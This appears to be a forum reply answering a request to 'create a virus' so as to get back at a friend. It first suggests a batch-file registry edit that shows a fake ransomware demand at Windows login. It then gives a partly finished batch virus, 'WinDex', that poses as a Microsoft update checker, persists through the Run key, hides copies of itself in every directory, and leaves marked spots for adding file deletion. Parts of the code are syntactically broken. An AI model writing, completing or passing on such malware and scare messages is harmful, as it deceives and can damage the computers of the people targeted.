create a virus

Back! Ok if you want to get back at your friend there is a registry key you can edit via a batch file that contains a message that’ll pop up before the login prompt for Windows comes up at boot. Now, if your friend doesn’t know any better, you can write something scary such as, “You’re computer has been infected with the Win32.RansomIntel Virus, If you attempt to reboot it’ll delete all system files upon reboot. To get rid of this virus, send $1000 dollars to this account Acct# some number”

You can use ther Reg Add command and put it in a batch file to do this for you. There is also a caption key associated with the key containing the text for the message body. Once your friend restarts his computer it’ll pop up. To find more about the Reg Add command go to DOS and type in this:

reg add /?

Good luck, LamaBot

P.S. Virus’s are bad news if you use them in a malicious manner or for a malicious endeavor.

Here is a simple batch file virus called WinDex. It isn’t finished but if you’re determined to get your friend you’d learn, and finish it. Hint; under the RootNode and SubNode is where you’d write the real functionality of the virus (i.e. deleting files). I don’t encourage you to use this for anything but experimentation. I’ll post another entry showing you a safe way to scare the turds out of the turd you don’t like.
@echo off
echo Thank you for using Microsoft WinDex v1.0 – This program is a quick checker for any
echo of the latest bugs in the Microsoft XP SP1 Operating System. Once a bug is detected, it’ll
echo append it to the list. Once the program is done executing it’ll connect to Microsoft.com
echo download the appropriate fixes. Thank you for using WinDex.
echo #
echo #
echo Initializing components, please wait…
echo #
echo #

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WinDex
IF ERRORLEVEL EQU 0 (
IF NOTCD==SYSTEMDRIVE (
GOTO SubNode
) ELSE (
GOTO RootNode
)
) else (
IF NOTCD==SYSTEMDRIVE CD SYSTEMDRIVE
)

REM We want the virus to start at boot so we add to the oh so famous Run key.
:ereg
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WinDex /t REG_MULTI_SZ /d systemdrive\%0
if ERRORLEVEL NEQ 0 GOTO showError

REM This simpy says “Copy myself to every sub directory under CD which is C:\ (i.e the root)
:spread
FOR /R CD %i IN (.) DO copy .\%0 “%si\0” x%x ATTRIB +h “%%si\%0”
GOTO done

:showError
echo An error was encountered…. please wait
GOTO cleanup

:RootNode
REM this is where you can for loop again executing every infected directory so
REM For for example:
FOR /R CD %i IN (.) DO START /Db%~si /MIN %%0
GOTO done

:SubNode
REM This block will execute if the system was infected and the current directory isn’t the system
REM drive directory.
EXIT

:cleanup
DEL /Q %0
GOTO done

:done
Echo Your system has been successfully updated… please wait while program closes
EXIT